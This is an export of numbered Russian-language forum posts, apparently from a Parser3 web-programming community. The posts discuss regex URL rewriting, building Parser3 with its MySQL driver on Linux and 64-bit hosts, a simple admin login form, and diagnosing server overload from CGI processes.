раз это заработало, значит на этой же машине поднят SMTP сервер, который собственно слушает 25 порт.. конечно же к нему можно обратиться не только по его символьному адресу видимому из мира (его может и не быть), но и по адресу localhost \
\
ваше решение поможет отнюдь не всем страждущим, даже наверно совсем немногим, потому что на многих хостингах (точного соотношения не знаю) - почтовая машина - отдельный сервер, и к ней нужно обращаться по ее сетевому адресу, который как я вам и написал знает тех. поддержка хостинга, у которой его стоит просто спросить, а не тратить время на перебор вариантов"
"63167","Есть плагин Parser for IDEA 6.0 для соответсвующей версии IDEA (с 7-кой проблемы). Для установки нужно поставить соответствующую IDEA, зайти в ней в настройках в список плагинов и найти его по названию.\
\
Переход при клике по методу там есть, как и переход к определению при клике по переменной. Также может переходить к определению функцию в классе. Но плагин в состоянии альфа-версии, пользоваться вполне можно, но далеко не все работает так, как бы хотелось."
"63168","Скриншот перехода к определению метода или переменной показать не могу. Но тут скриншоты auto-complete методов объекта, объявленного в классе + встроенной подсказки, если для метода написаны комментарии.\
\
http://lh3.google.com/purikov/RyCVQQDtFdI/AAAAAAAAALQ/YKV3-5Mi5_w/s800/idea1.jpg\
http://lh4.google.com/purikov/RyCVQgDtFeI/AAAAAAAAALY/VIdqwo55zA4/s800/idea2.jpg\
http://lh5.google.com/purikov/RyCVQwDtFfI/AAAAAAAAALg/cLmE1SmtMFw/s800/idea3.jpg"
"63169","^taint[uri][текст] - используется для преобразования текста к url-encoded\
А есть ли простой способ обратного преобразования?\
Дело в том, что строку я беру из $env:HTTP_REFERER.\
Если пользователь пришел с яндекса, мне нужно получить строку, по которой он искал мой сайт..."
"63171","А как правильнее тогда делать? Определять таблицу замены?"
"63173","Не очень понял, а этот плагин уже в поставке или где-то скачать надо?\
Он и синтаксис хайлайтит?"
"63175","[code]\
$t[^table::create{body	link\
<img alt=\"alt\" src=\"img/img.gif\" title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=\"/img/img.gif\" title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src='img/img.gif' title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src='/img/img.gif' title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=img/img.gif title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=/img/img.gif title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=home/img.gif title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=/home/img.gif title=\"title\">	http://www.site.ru/}]\
^t.menu{\
	^untaint{^t.body.match[[b]PCRE][/b][gi]{}}\
}[/code]\
\
Вот вместо [b]PCRE[/b] надо вставить то, что делало бы из всех <img ... src=... ... > вот это: <img alt=\"alt\" src=\"http://www.site.ru/img/img.gif\" title=\"title\">\
\
Сижу уже долго. Прошу помощи."
"63178","[code]^untaint{^t.body.match[(.+ src)(.+)( .+)][gi]{$match.1=\"$t.link\" $match.3}}[/code]"
"63179","У IDEA общая база плагинов, доступная прям из программы. Нужно зайти в Settings -> Plugins -> Available, выбрать Parser for IDEA 6.0, жмакнуть на Install и перезагрузиться.\
\
Off:\
#/да, использую) Привычка) Не ожидал тебя тут встретить :)"
"63180","Согласен, но ошибся я.\
\
Вот верный вариант.\
\
[code]$t[^table::create{body	link\
<img alt=\"alt\" src=\"http://www.site.ru/img/img.gif\" title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=\"img/img.gif\" title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=\"/img/img.gif\" title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src='img/img.gif' title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src='/img/img.gif' title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=img/img.gif title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=/img/img.gif title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=home/img.gif title=\"title\">	http://www.site.ru/\
<img alt=\"alt\" src=/home/img.gif title=\"title\">	http://www.site.ru/}][/code]"
"63181","[code]^t.body.match[\
	(img)(.*)(src=)(['`\"]?)[^^http://]{7}\
][gi]{${match.1}${match.2}${match.3}${match.4}$t.link}[/code]\
\
Но мне кажется это жесть, которая не пашет."
"63182","[code](img.*src=['`\"]?)[/code] — ищет начало тега на ура."
"63184","[code]<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">\
<img alt=\"alt\" src=\"http://www.site.ru/\" title=\"title\">[/code]\
\
А должно быть во всех случаях:\
\
[code]<img alt=\"alt\" src=\"http://www.site.ru/img/img.gif\" title=\"title\">[/code]"
"63185","[code]^untaint{^t.body.match[(.+c=)('|\")?/?(http://.+/)?([a-z\\.\\/]+)('|\")?( .+)][gi]{$match.1\"${t.link}$match.4\" $match.6}}[/code]"
"63186","Да, кстати, убогий стандарт из области П2..."
"63187","Спасибо.\
\
Маленькое «Но».\
\
[code]<img alt=\"alt\" src=\"http://www.site.ru[b]/img[/b]/img.gif\" title=\"title\">[/code]\
\
Если найдёт это, то исправит на:\
\
[code]<img alt=\"alt\" src=\"http://www.site.ru/img.gif\" title=\"title\">[/code]"
"63188","Меняем http://.+/ на http://[a-z\\.]/ и избавляемся от маленького «Но»."
"63189","До такого регекспа я б не допёр..."
"63190","Так?\
\
[code]^t.body.match[(<img.*src=)(['\"`])?/?(http://[a-z\\.]/)?([a-z\\.\\/]+)(['\"`])?( .+[^^<]>)][gi]{$match.1\"${t.link}$match.4\" $match.6}}[/code]"
"63191","Если запрос идет c ya.ru - оно кодируется в 1251,\
а если с yandex.ru - в utf...\
В чем тут логика?.... :)"
"63193","именно поэтому, кстати, в парсер не встраивалось автоматическое декодирование uri, query, referer и т.п.: в общем виде их невозможно корректно декодировать, т.к. мы не знаем кто и как их кодировал.\
\
но это аналогично и для form: если кто-то поставил на своём сайте (работающем, к примеру в 1251) ссылку на ваш сайт (который работал в момент установки ссылки в 1251), а потом вы перевели свой сайт в другую кодировку (в utf8, например), то на том сайте ссылку надо изменить. узнает ли автор того сайта о ваших изменениях? если узнает, то как скоро после изменений? будет ли он менять ссылку?\
\
что касается поисковиков, то индексируя сайты они знают кодировку и в принципе могут выдавать ссылки (ссылки, но не referer. реферер касается их и только их, передаётся броузером и зависит от кодировки, в которой работают эти сайты) с правильным encoding. однако как они это делают по факту -- вопрос к их разработчикам."
"63197","Добрый день коллеги!\
Есть большой проект написанный на парсере. В настоящее время возникла необходимость его доработать. В связи с этим разыскивается человек, у кого есть возможность / желание заняться этим (не бесплатно разумеется)."
"63202","Пишу форум, — вывод содержимого разбит на классы. Определённый класс вызывается в зависимости от условий.\
\
Вот первый способ запуска:\
[code]^if(def $form:forum){\
	^if(def $form:themes && def $form:forum){\
		^list_POST[]\
	}{\
		^if(def $form:addthemes && $form:addthemes eq add){\
		^add_THEMES[]\
		}{\
		^list_THEMES[]\
		}\
	}\
}{\
^list_FORUM[]\
}[/code]\
\
и второй способ, делающий тоже самое: \
[code]^if(! def $form:forum && ! def $form:themes && ! def $form:addthemes){^list_FORUM[]}\
^if(def $form:forum && ! def $form:themes && ! def $form:addthemes){^list_THEMES[]}\
^if(def $form:forum && def $form:themes && ! def $form:addthemes){^list_POST[]}\
^if(def $form:forum && def $form:addthemes && ! def $form:themes){^add_THEMES[]}[/code]\
\
Какой из них лучше использовать? Если есть вариант или идея более лучшего кода, поделитесь :)"
"63203","[code]^if(def $form:forum){\
	^if(def $form:themes){\
		^list_POST[]\
	}{\
		^if($form:addthemes eq \"add\"){\
			^add_THEMES[]\
		}{\
			^list_THEMES[]\
		}\
	}\
}{\
	^list_FORUM[]\
}\
[/code]"
"63204","Здорово получилось :)\
\
А если методов будет, скорее всего много, то как можно будет справедливо организовать их вызов?"
"63205","Вроде в книжке по рефакторингу рекомендовалось ставить сначала условие которое будет выполняться чаще."
"63206","по спортивному убрать все условия \"наверх\".\
[code]\
# сначала в зависимости от условий определяем что за режим работы у нас, а потом:\
^switch[$sType]\
	^case[POST]{\
		^list_POST[]\
	}\
	^case[THEMES]{\
		^list_THEMES[]\
	}\
	^case[FORUM]{\
		^list_FORUM[]\
	}\
}\
[/code]\
\
при подобном подхоже ваш вопрос трансформируется в аналогичный, но \"как по спортивному установить режим работы?\".\
\
в общем случае -- неважно, главное чтобы код был понятным и без большой избыточности (если почти в каждой проверке у вас def $form:forum -- это знак задуматься). это выполняется разово. вариант agat-а мне по душе."
"63208","Я могу взяться"
"63209","Выборка происходит за счет SQL-запросов, условиями отбора которых являются переменные, поступающие из форм. К примеру, когда посетитель находится в простом коренном разделе — происходит выборка всех форумов. Если же он заходит в определённый форум (к примеру: $forum=technology), происходит соответствующая выборка тем. Когда происходит клик на тему ($themes=35),  фильтрация постов идёт по соответствующей теме и форуму.\
\
Вариант с switch понравился, но опять таки не могу сообразить, как грамотно организовать проверку условий, таким образом, чтобы на их основе запускать нужный класс (режим работы)? Без потери условий отбора."
"63212","Полдня провозился с подключением всего необходимого для работы auth.p. И в итоге такая хрень: установка пароля для админа прошла успешно. А вот заведение нового юзера или изменение параметров существующего (того же админа) выдаёт ошибку [b]unknown[/b].\
По коду, честно говоря, так и не смог понять где именно проблема.\
Какие основные причины возникновения этой ошибки?\
Как можно сделать трассировку (чтобы добраться до места возникновения ошибки)?\
Спасибо большое. (:"
"63213","может проще общаться кодом — вы одно, мы другое, глядишь, поймём друг друга?"
"63214","т.к. в ней впервые появилась версия 3.0 протокола общения с PostgreSQL.\
\
Но я бы рекомендовал 8.0 и выше, особенно под Windows."
"63215","Добрый день !!! Сабж\
Скачал версию 32-х 3.1.6 под RH.\
Для начала хочу проверить - запускается ли он вообще - и вот что вижу:\
[code]maxubuntu@calc:~/soft/parser$ ls ./parser3/ -la\
total 828\
drwxr-xr-x 4 maxubuntu maxubuntu   4096 2007-10-28 14:51 .\
drwxr-xr-x 3 maxubuntu maxubuntu   4096 2007-10-28 14:51 ..\
-rw-r--r-- 1 maxubuntu maxubuntu   3228 2007-06-28 19:38 auto.p\
drwxr-xr-x 2 maxubuntu maxubuntu   4096 2003-07-24 17:39 charsets\
drwxr-xr-x 2 maxubuntu maxubuntu   4096 2002-08-02 18:37 lib\
-rwxr-xr-x 1 maxubuntu maxubuntu 819132 2006-03-16 23:25 parser3.cgi\
-rw-r--r-- 1 maxubuntu maxubuntu    495 2002-02-08 15:14 README\
maxubuntu@calc:~/soft/parser$ cd parser3/\
maxubuntu@calc:~/soft/parser/parser3$ ls\
auto.p  charsets  lib  parser3.cgi  README\
maxubuntu@calc:~/soft/parser/parser3$ ./parser3.cgi\
-bash: ./parser3.cgi: No such file or directory\
maxubuntu@calc:~/soft/parser/parser3$[/code]\
\
Разве он не должен хотя бы верисию свою написать ? Насколько я понял из сообщенйи в форуме - Parser должен заработать на этой платформе, правда с 32-битной mysql lib ... Или же я чего-то не понял ?"
"63216","На моей памяти, такие ошибки при \"нормальном\" запуске вываливались, ести том, на котором у вас лежит файл, смонтирован с опцией 'noexec'.\
Посмотрите вывод от 'cat /etc/mtab' на предмет тома с каталогом парсера, может, что при монтировании отключалось."
"63217","Мдаа... Долго пришлось морщить ум, пока не додумался закомментарить $exception.handled(1), чтобы выдалось стандартное сообщение об ошибке. Оказалось, что банально отсутствует библиотека lib.p.\
Вот, что значит перехватывать исключения, засовывая все неучтенные ошибки под зонтик unknown."
"63218","[code]maxubuntu@calc:~/parser3$ cat /etc/mtab\
/dev/sda2 / ext3 rw,errors=remount-ro 0 0\
proc /proc proc rw,noexec,nosuid,nodev 0 0\
/sys /sys sysfs rw,noexec,nosuid,nodev 0 0\
varrun /var/run tmpfs rw,noexec,nosuid,nodev,mode=0755 0 0\
varlock /var/lock tmpfs rw,noexec,nosuid,nodev,mode=1777 0 0\
udev /dev tmpfs rw,mode=0755 0 0\
devshm /dev/shm tmpfs rw 0 0\
devpts /dev/pts devpts rw,gid=5,mode=620 0 0\
[b]/dev/sda4 /home ext3 rw 0 0[/b]\
/dev/sda3 /var ext3 rw 0 0\
securityfs /sys/kernel/security securityfs rw 0 0[/code]\
\
Сделал тест на bash:\
[code]maxubuntu@calc:~$ chmod 755 ./test.sh\
maxubuntu@calc:~$ ./test.sh\
TEST RUN\
maxubuntu@calc:~$[/code]\
Но почему-то Parser не хочет запускаться ((("
"63220","Может, тогда просто собраться из исходников?"
"63221","Как-то, достаточно странно.\
\
bash: ./parser3.cgi: No such file or directory\
Он говорит что не нашёл файл с парсером.\
Попробуйте из mc кликнуть по нему."
"63223","Даже переименовывать пробовал - ответ тот же самый ((("
"63225","Мне кажется у вас плохо продумана сама реализация форума. Почитайте в мишиных примерах статьи - многое прояснится. Еще чуток фантазии, и успех гарантирован)."
"63226","после этого делались только небольшие изменения.\
\
реализация мне и самому не нравится, однако переделывать её нет желания, т.к. неспешно делаю следующую версию. однако если кто пришлёт версию с исправлениями -- закоммичу и выложу."
"63227","Все больше и больше хостеров переходят на 64бит."
"63229","Хостер говорит что старую версию libmysqlclient.so установить невозможно. Может есть какой \"переходник\"? \
Какой-то выход должен быть..."
"63230","делал и так\
./configure --with-shared-gc=/var/gc/lib/ --with-mysql-client=/usr/lib/mysql/libmysqlclient.so15\
и так\
./configure --with-shared-gc=/var/gc/lib/ --with-mysql-client=/usr/lib/mysql/libmysqlclient.so\
нифига после make&&make install не образуется libparser3mysql.so\
\
Брал из cvs последнюю версию\
\
Спасибо"
"63231","по вашим параметрам configure я не могу понять что вы пытаетесь собирать. \
если собираете сам парсер, то воспользуйтесь уже готовыми скриптами сборки: buildall-with-xml.sh и buildall-without-xml.sh\
\
если собираете mysql драйвер, то опции указаны в INSTALL\
\
при сборке какие-нить ошибки есть?"
"63233","Я пытаюсь собрать парсер с поддрежкой mysql\
Делаю так\
./buildall-without-xml\
Now you can copy /root/parser3install with subdirectories\
в папке root нету parser3install"
"63234","для этого нужен драйвер. без него вы всё равно не сможете работать с mysql.\
\
вы начали собирать сами. в чем причина? уже собранное из раздела \"Скачать\" не подошло?\
\
[quot]\
в папке root нету parser3install\
[/quot]\
\
значит было выдано сообщение об ошибке при выполнении configure, make или make install, без оного я общение заканчиваю как бессмысленное.\
\
P.S. собранный бинарник можно поискать в src/targers/cgi (это если configure и make успешно завершились), откуда он копируется в упомянутую вами каталожку при выполнении make install."
"63236","в двух местах buildall-without-xml добавляю --disable-safe-mode\
получилось:\
./configure --prefix=$project_directory/gc --disable-safe-mode --disable-threads --disable-shared --silent\
\
  ./configure --prefix=$install_directory \\\
     \"--with-sendmail=$sendmail_command\" \\\
     --with-static-gc=$project_directory/gc/lib \\\
    --disable-safe-mode \\\
     --silent\
\
\
после установки зпускаю /usr/local/bin/parser3\
\
./auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option]\
\
Почему ?"
"63237","1. почему в двух местах?\
2. перед сборкой с внесёнными изменениями выполнили make distclean? если configure запущен с правильными параметрами, то в самом начале он напишет про safe mode отключен.\
\
P.S. вы писали, что брали в cvs последнюю версию, однако в последней версии из cvs для сборки не safe парсера достаточно не добавлять что-то в параметры, а расскоментировать одну строку."
"63238","Михаил, спасибо за отеты, за помощь.\
собрал without-xml.\
выполняю, получаю. \
./lib/libparser3mysql.so\
\
can't open the module\
\
после сборки в /root/parser3install/\
auto.p.dist     parser3\
\
а so не ту, вот поэтому в первом поем сообщение я пытался собирать с --enablemysql"
"63239","если хостер таков, что перехел на новую ОС, послав всех клиентов использующих 32-ух битное ПО, то наверное вариант только в смене хостера.\
\
однако я сомневаюсь, что он поступил именно так (таких приложений немало, и терять клиентов из-за подобного глупо). скорее всего он установил поддержку совместимости со \"старыми\", 32-ух битными, приложениями, но ему просто лень устанавливать для вас эту клиентскую библиотеку (или вы не смогли внятно объяснить что вам надо поэтому он не понял, что от него требуется лишь сказать вам путь к ней). в этом случае вы можете скачать/установить её себе сами. в форуме не раз описывалось где что искать. ищите.\
\
P.S. как ПАФ уже не раз писал, мы пока не переходим на x64 (в применении к парсеру никаких преимуществ от x64 не будет), поэтому нам лень вносить в парсер правки, чтобы он собирался на x64. правок по прикидкам не так много. когда нам потребуется -- мы внесём. если кто-то сделает это до нас (исходники доступны) и пришлёт нам patch -- x64 версия появится раньше."
"63242","Вобщем есть один хостинг у меня, где нормально не настроена \"basic\" авторизация. Написал авторизацию для входа в админку, надо было быстро это сделать, только вот интересно... Это нормально после всех проверок на правильность ввода логина и пароля, наличия куки и отрицательного ответа после этих проверок подсовывать форму через $response:body[]?\
\
[code]^if(!$bLogged){\
	$response:body[тут форма]\
}[/code]\
\
Это секьюрно ваще или есть другие варианты?"
"63243","[quot]\
Это секьюрно...?\
[/quot]\
\
если есть сомнения, не отдаётся ли посетителю и остальной результат, то можете посмотреть telnet-ом что именно отдаётся (я не смотрел, но думаю если задано body, то отдаётся только оно).\
\
но мне такой подход не нравится:\
- вы направили что-то в body, но на этом обработка не останавливается, соотв. код работает дальше, жрёт память и время. да и код надо написать так, чтобы он не сломался.\
- не вижу принципиальной разницы между выдачей xml/html в body и стандартный output\
- сам использую body только если надо выдать посетителю файл (например парсер проверит права доступа к файлу, а потом загрузит его и выдаст в body). однако не делаю так, если есть вероятность работы с большими файлами (парсер при этом грузит файл в память)\
\
т.е. в вашем случае я сделал бы так:\
[code]\
^if($bLogged){\
	тут код, который выдаст что-то для залогиненного пользователя\
}{\
	тут форма\
}\
[/code]"
"63244","Да, я это тож обдумал, поэтому так и сделал уж. Спасибо за ответ.\
\
А вот ещё что. Если брать логин и хэш пароля прям из .htpasswd, если он на уровне админки, это убого вообще или есть смысл развить?"
"63245","сегодня получили от хостера такое вот сообщение\
\
[quote]Сценарий использования parser для вашего сайта вызывает перегрузку сервера\
и сайт может быть остановлен. Суть проблемы в том, что парсер исполняется\
в CGI-режиме, на каждое обращение к странице исползующей parser запускается \
отдельный процесс. Поддержка обработки большого количества запросов\
исполняемых\
в этом режиме затруднительна, так как запуск нового процесса это\
ресурсоёмкиое\
действие.\
\
Система мониторинга процессов исполняющихся в CGI-режиме настроена таким \
образом, что она не допускает превышение какого-то лимита по числу\
запущенных\
процессов одного типа (Parser, PHP, Perl и т.д.) Когда лимит превышается\
система мониторинга считает, что произошла критическая ситуация и для \
стабилизации\
работы сервера принимает решение об завершении исполнения всех процессов\
указанного типа. При этом завершаются не только ваши процессы но и\
CGI-процессы\
того же типа соседних по серверу рессурсов. Так же работа в таком режиме \
сильно сказывается на производительности работы сервера.\
\
В вашем случае регулярно приходят отчёты служб мониторинга об уничтожении\
пачек по [b]40-50[/b] одновременно запущенных парсеров.\
\
Пожалуйса, рассмотрите вариант работы без использования Parser в текущем \
виде, иначе в услугах хостинга вашему пректу может быть отказано.\
[/quote]\
\
Хостинг работает под 2003 сервером. Локально у меня все настроено точно также, и при всех проверках сйт работает в контексте ровно 1 (одного) процесса. Скажите, каким образом можно запустить и оставить висеть в памяти 50(!) процессов? Как я понимаю - это проблемы хостера, и они никак не связаны с сайтом. Так ли это в рельности, и что мне следует ответить хостеру?"
"63246","http://www.egoroff.spb.ru/portfolio/24.html"
"63247","Зачем кому-то доказывать что ты не верблюд?"
"63248","Зато полезно если в админке есть хрень для редактирования доступом."
"63249","- большая нагрузка на сервер? (rusage.log поможет понять)\
- долго формируются страницы? (чем дольше тем больше вероятность что одновременно окажется запущненными несколько процессов)\
- lock-и? (один процесс работает, блокирует что-то, другие не могут быстренько сделать своё дело и уйти, в результате выстраивается очередь. возможно в случае использования file:lock или hashfile, в случае последнего рекомендуется поставить версию 322 и использовать метод .release)\
- долгие sql запросы? (аналогично предыдущему, только ждут не снятия блокировки с файла, а ответа от sql. с 2003 года прошло много времени, добавилось много данных, запросы стали медленнее выполняться, надо оптимизировать) (sql.log вам в помощь)\
- много 404? (например, если отсутствует favicon.ico, то один запрос к странице == запрос к странице + запрос к несуществующему файлу, ответ для последнего тоже может формироваться парсером)\
- парсер случайно не пропускает через себя все картинки (если так -- ваще пипец, т.к. при обработке одной страницы оказывается запущено много парсеров. это также видно в rusage.log)\
\
но вообще 50 одновременных процессов -- многовато."
"63250","а вы работаете с готовым пользователем в env."
"63251","[quote]нормально не настроена \"basic\" авторизация[/quote]\
Фактически, её просто нет... Собственно и проверки нет. Есть просто файл .htpasswd, который бесполезен на данный момент, и \"открытая\" админка, так как нет \"бэйсика\"."
"63252","Михаил, спасибо за ответ. из cvs брал get -r release_3_2_1 parser3\
после прочтения INSTALL\
./configure --with-mysql --with-static-gc=/usr/build/gc/lib/\
\
не собирается модуль"
"63254","Народ! Я делал в денвере сайт - использовал nconvert.exe\
все работало, картинки ресайзились, сохранялись - залил на Инфобокс (infobox.ru) - вместо экзешника с оф. сайта положил тот скрипт под линукс. ну нифига не работает - он даже ошибки не выдает - просто не сохраняет картинки и не ресайзит. Я уже все версии того скрипта перепробовал и под фряху, даже экзешник втыкал!)))\
\
и версию парсера последнюю залил - с поддержкой XML не знаю чо делать - дома под апачем на винде все пашет а на хосте лажа - Linux Redhat"
"63255","ибо метод lastInsertId был очень плохо написан. и, блин, никто за столько лет не мог раньше пальцем ткнуть :("
"63256","после этого сделать \"как надо\".\
в случае ошибок сообщить о них как предложено в FAQ.\
\
P.S. следующий подобный \"словестный бред\" удалю."
"63257","на [code]^if(-f \"/i/cars/2/1.jpg\"){\
^use[/classes/NConvert.p]\
$oImg[^NConvert::create[\
#Путь, где лежит nconvert\
	$.sScriptPath[/classes]\
#Имя самого файла nconvert\
	$.sScriptName[nconvert]\
]]\
$lo[^oImg.info[/i/cars/2/1.jpg]]\
$lo.iWidth\
\
\
\
}{no file}\
[/code]\
выдает:\
[code]Unknown image format '/i/cars/2/1.jpg'\
\
info\
\
/home/www/damain/bityo/classes/Img.p(71)\
\
exception.type=Img throw /home/www/damain/bityo/classes/Img.p(71)\
if /home/www/damain/bityo/classes/Img.p(70)\
info /home/www/damain/bityo/auto.p(129)[/code]\
\
дело в том, что на апаче работает - соответственно это аппаратная ошибка - есть вероятность что у меня на сервере какой-нить кривой линукс что под него сборки нконверта нет?\
\
\
PS:\
получил: [code]/home/www/damain/bityo/classes/nconvert: error while loading shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory[/code]\
на [code]$f[^file::exec[/classes/nconvert;;-help]]\
<pre>$f.stderr</pre>[/code]\
кто может подсказать по этой теме?\
\
когда сменил скрипт - убралось ошибко, но инфу о возм. не выдает все равно!"
"63258","[b]Совместное использование MySQL и memcached[/b]\
25 октября 2007 ( MySQL Moscow UG, веб-разработка, software engineering, встречи )\
\
1 ноября Moscow MySQL User Group при поддержке клуба «Бизнес в стиле .RU» проводит свою третью встречу.\
\
Михаил Монашёв, руководитель проектов mindmix.ru и softsearch.ru расскажет об использовании технологии memcached в связке с базой данных MySQL. Будут рассмотрены как базовые способы организации совместного функционирования, так и детальная оптимизация уже функционирующих проектов.\
\
Для участия во встрече необходимо обязательно пройти регистрацию по адресу http://styleru.net/register.\
\
Встреча пройдёт по адресу: Москва, ул. Мясницкая, д. 20, Государственный университет — Высшая школа экономики, аудитория 236.\
\
Начало доклада — 19-00."
"63259","http://perso.orange.fr/pierre.g/xnview/endownloadlinux.html"
"63261","/home/www/damain/bityo/classes/nconvert: error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory\
\
http://bityo.damain.ru/?mode=img"
"63263","Спасибо Михаил за Ваши ответы.\
я взял\
http://www.parser.ru/f/1/download/src/parser3mysql-9.4.tar.gz\
собрал.\
при запуске все равно вижу\
./lib/libparser3mysql.so (модуль лежит по данному пути)\
can't open the module"
"63264","[b]Q. что такое libmysqlclient.so?[/b]\
A. libmysqlclient.so (на win32: libmySQL.dll) -- это клиентская библиотека MySQL. именно через неё драйвер парсера (libparser3mysql.so или .dll) направляет все запросы MySQL серверу. драйвер и клиентская библиотека нужны для работы парсера с MySQL сервером.\
\
\
[b]Q. какая версия libmysqlclient.so мне нужна?[/b]\
A. для работы с 3 версией MySQL нужна libmysqlclient.so.10, для 4 -- libmysqlclient.so.12 [[url=\"/forum/?id=49916\"]источник[/url]]\
тем не менее очень часто в системе имеется симлинк libmysqlclient.so, указывающий на одну из этих библиотек (часто последнюю доступную).\
\"новая\" версия клиенской библиотеки умеет работать со \"старым\" MySQL сервером, \"старая\" с \"новым\" может не обеспечивать неоходимого функционала, например библиотека от 3 версии MySQL не знает \"нового\" способо шифрования паролей, что проявляется в виде ошибки 'Client does not support authentication protocol requested by server', однако эту ошибку [url=\"/forum/?id=56916\"]возможно обойти[/url] и без обновления библиотеки.\
для win32 никаких окончаний .10, .12 не существует, есть только libmySQL.dll, которая для разных SQL серверов имеет разный размер (для более нового сервера она существенно больше). найти её можно в директории bin установленного MySQL сервера для win32.\
\
\
[b]Q. какой путь я должен прописать к libmysqlclient.so?[/b]\
A. где находится клиентская библиотека в вашей системе вы можете узнать у вашего администратора (если не знаете сами).\
\
\
[b]Q. что делать если администратор не доступен, или libmysqlclient.so отсутствует?[/b]\
A. вы можете установить её самостоятельно, для этого необходимо скачать её и поместить на хостинг.\
т.к. вы сами скопируете её в удобное для вас место, то вам не составит труда прописать корректный путь к ней в конфигурационный auto.p (тот, что расположен рядом с исполняемым файлом парсера).\
\
\
[b]Q. где взять клиентскую библиотеку libmysqlclient.so для моей ОС?[/b]\
A. найти и скачать. очевидно, что поиск следует начинать с сайта [url=\"http://dev.mysql.com/downloads/\"]MySQL сервера[/url].\
обычно она присутствует в дистрибутиве, подходящего к вашей ОС.\
также можно скачать её из портов, вот пример [url=\"/forum/?id=57923\"]шагов по поиску библиотеки в портах[/url] в применении к freebsd.\
\
\
[b]Q. У меня на хостинге установлена 64-битная ОС с 64-битной версией libmysqlclient.so, при этом работать с MySQL сервером из парсера не получается. Почему? И как быть?[/b]\
A. Для того, чтобы всё работало необходимо, чтобы все компоненты (исполняемый файл парсера, драйвет libparser3mysql.so и клиентская библиотека libmysqlclient.so) были или 32-битные или 64-битные. В настоящий момент парсер существует только как 32-битное приложение (нам не требовалось иного, patch никто не присылал), драйвер парсера libparser3mysql -- тоже. Самый простой вариант: скачать и установить 32-битную версию клиентской библиотеки (где качать см. выше). Однако это возможно только в случае, если на вашей ОС разрешено выполнение 32-битных приложений (в подавляющем большинстве случаев это так). Сложный вариант: подправить код парсера, чтобы он собирался как 64-битное приложение, собрать его, собрать его драйвер и работать (опционально: прислать нам patch)"
"63265","а перед этим попробуйти в спроку поиска вписать \"can't open the module\" и поискать в уже имеющихся темах."
"63267","коллеги, айда кругозор расширять."
"63268","На локальном сайте вы сидите один - конечно и процесс будет один.\
Реальность такова, что на сайт ходят и другие люди. Каждый запрос к апачу, на соответствующий ресурс (ну допустим index.html) - порждает новый процесс парасера.\
\
Интересно - а какая у вас посещаемость сайта в день? если не более 10 человек в минуту - то у вас явно что то СИЛЬНО не в порядке (Миша написал возможные варианты). Если больше, или гораздо больше, или у вас все уже отоптимизироано - пора думать про dedicated/collocation"
"63270","[code][Tue Oct 30 23:24:24 2007] [13252] /classes/_count.html: 'd:/hst/qha-com-ua_2a147fd7/http/classes//mysql.p' shared lock failed: Resource deadlock avoided (36), actual filename 'd:/hst/qha-com-ua_2a147fd7/http/classes//mysql.p' [file.lock] [uri=/classes/_count.html, method=GET, cl=0]\
[/code]\
\
Раньше такой ошибки не получал. Чтобы это могло значить?"
"63271","\"К сожалению на данном тарифном плане внесение изменений технически невозможно\
- любой софт Вы можете устанавливать на тарифных планах VPS.\"\
\
Ужос. \
А можно сделать так? - скопировать файл libmysqlclient.so рядом с libparser3mysql.so, а в конфиг файле указать \
\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so\
}]\
]\
\
?\
\
Если да, то какие еще придется файлы скопировать? И где взять этот файл? Искал на mysql.com - но там вроде все платно."
"63272","P.S. про x64 щас тудя явно допишу, но смысл такой-же: надо скачать и установить. вопросы где скачать и как установить удалю, т.к. это уже описано."
"63273","без понятия. mysql.p никаких lock не делает. однако проблема может быть в клиентской библиотеке, которую он вызывает при выполнении запроса.\
\
я так понял что вам заниматься оптимизацией лень и вы всё ещё надеятесь схалявить, исправив случайно найденное. ну... удачи.\
\
но мое мнение: схалявить не получится (только время потеряете), это может быть следствием проблемы, а не причиной. пути поиска узких мест я вам написал. ещё раз: делаем, чтобы писался rusage.log, через какое-то время смотрим где время выполнения > 1 сек и начинаем выяснять почему оно такое большое, для анализа SQL запросов на этих страницах используем sql.log (если запросы делаются через sql классы, если не через него, то предварительно global replace). мне обычно (последнее время часто приходится искать узкие места в чужих проктах) для нахождения самых узких мест по этой методике требуется не более 1 часа (правда сама оптимизция занимает существенно больше времени)."
"63274","Я уже не занимаюсь этим проектом, но т.к. спецов по Парсеру у людей нет, они все эти проблемы шлют мне. Я уже давно говорил, что сайт нужно полностью переписать, что его текущие нагрузки на порядок выше заявленных возможностей. Но люди зажали платить за новый сайт, и теперь пилят меня эррор-месагами. Я, конечно, могу послать их куда подальше, но если проблема легко решаема, хочется разрулить ее без конфликтов.\
\
Проблемы с производительностью сайта начали появляться пол года назад, я людям тогда еще сказал. Они отнекивались, я залечивал. Видно пришел пик, когда уже залечивать нечего. Как говорится - поздно пить Боржоми."
"63275","как я уже упомянул, поискать проблему (не лечить) -- совсем несложно.\
\
в общем решать вам, но не думаю что найдутся телепаты, которые вам помогут.\
\
